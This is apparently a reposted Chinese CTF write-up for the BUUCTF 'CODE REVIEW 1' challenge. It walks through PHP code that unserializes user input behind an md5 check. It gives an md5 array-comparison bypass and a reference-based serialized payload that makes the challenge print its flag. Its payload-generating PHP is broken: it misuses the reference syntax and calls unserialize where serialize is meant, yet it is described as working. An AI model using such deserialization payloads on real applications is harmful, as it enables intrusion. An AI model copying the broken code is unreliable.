BUU CODE REVIEW 1
2023-12-13 05:01:35
php反序列化的一题
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
打开题目链接是这样的一串代码
先进行代码审计,
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
这段代码定义了一个名为BUU的类,该类有两个属性:$correct和$input,分别用于存储正确答案和用户输入的答案。代码中还定义了一个名为__destruct()的方法,该方法在对象销毁时自动调用。
__destruct()方法中的代码逻辑如下:
1. 尝试将uniqid()生成的唯一标识进行base64编码,并将结果赋值给$correct属性。
2. 判断$correct属性的值是否与$input属性的值相等。
3. 如果相等,则通过file_get_contents()函数读取"/flag"文件的内容,并将其输出。
需要注意的是,代码中使用了try-catch结构来捕获异常,但在catch块中并没有任何操作。
代码的执行步骤如下:
1. 创建一个BUU类的对象。
2. 设置对象的$correct和$input属性的值。
3. 当对象销毁时,自动调用__destruct()方法。
4. 在__destruct()方法中,将$correct属性的值进行base64编码,并与$input属性的值进行比较。
5. 如果两者相等,则输出"/flag"文件的内容。
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
这段代码的功能是:如果获取到的GET参数pleaseget的值为1,那么会进入第一个if语句。在第一个if语句内部,如果获取到的POST参数pleasepost的值为2,那么会进入第二个if语句。在第二个if语句内部,如果通过md5函数处理后的POST参数md51和md52的值相等,并且md51和md52的值不相等,那么会执行unserialize函数来反序列化POST参数obj的值。
代码步骤解析:
1. 判断GET参数pleaseget的值是否等于1。
2. 如果是,进入第一个if语句。
3. 判断POST参数pleasepost的值是否等于2。
4. 如果是,进入第二个if语句。
5. 使用md5函数对POST参数md51和md52的值进行处理,并比较它们的值是否相等。
6. 同时,判断md51和md52的值是否不相等。
7. 如果满足上述条件,执行unserialize函数来反序列化POST参数obj的值。
然后就开始写序列化代码构造paylode
<?php
class BUU{
public $correct = "";
public $input = "";
}
$select = new BUU();
$select -> correct&$select -> $input;
$select = unserialize($select);
echo $select;
?>
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
这是输出的然序列化代码,然后再根据第二段代码继续编写。
他有两段传参,
pleaseget=1
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
然后拿着构造好的去传参。
然后flag就出来了。
php反序列化:
<?php
class BUU{
public $correct = "";
public $input = "";
}
$select new BUU();
$select -> correct & $select -> input;
$select = unserialize($select);
echo($select);
?>
这段代码定义了一个名为BUU的类,其中包含了两个属性:correct和input。接下来创建了一个名为$select的BUU对象。然后将$select对象的correct属性引用指向$select对象的input属性。接着将$select对象序列化为字符串并打印输出。
代码解析:
1. 创建BUU类,并定义了两个公共属性correct和input。
2. 创建一个名为$select的BUU对象。
3. 将$select对象的correct属性引用指向$select对象的input属性。这意味着当修改correct属性时,实际上是修改了input属性。
4. 将$select对象序列化为字符串。
5. 打印输出序列化后的$select字符串。
文章来源:https://blog.csdn.net/qq_51802152/article/details/134819795
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!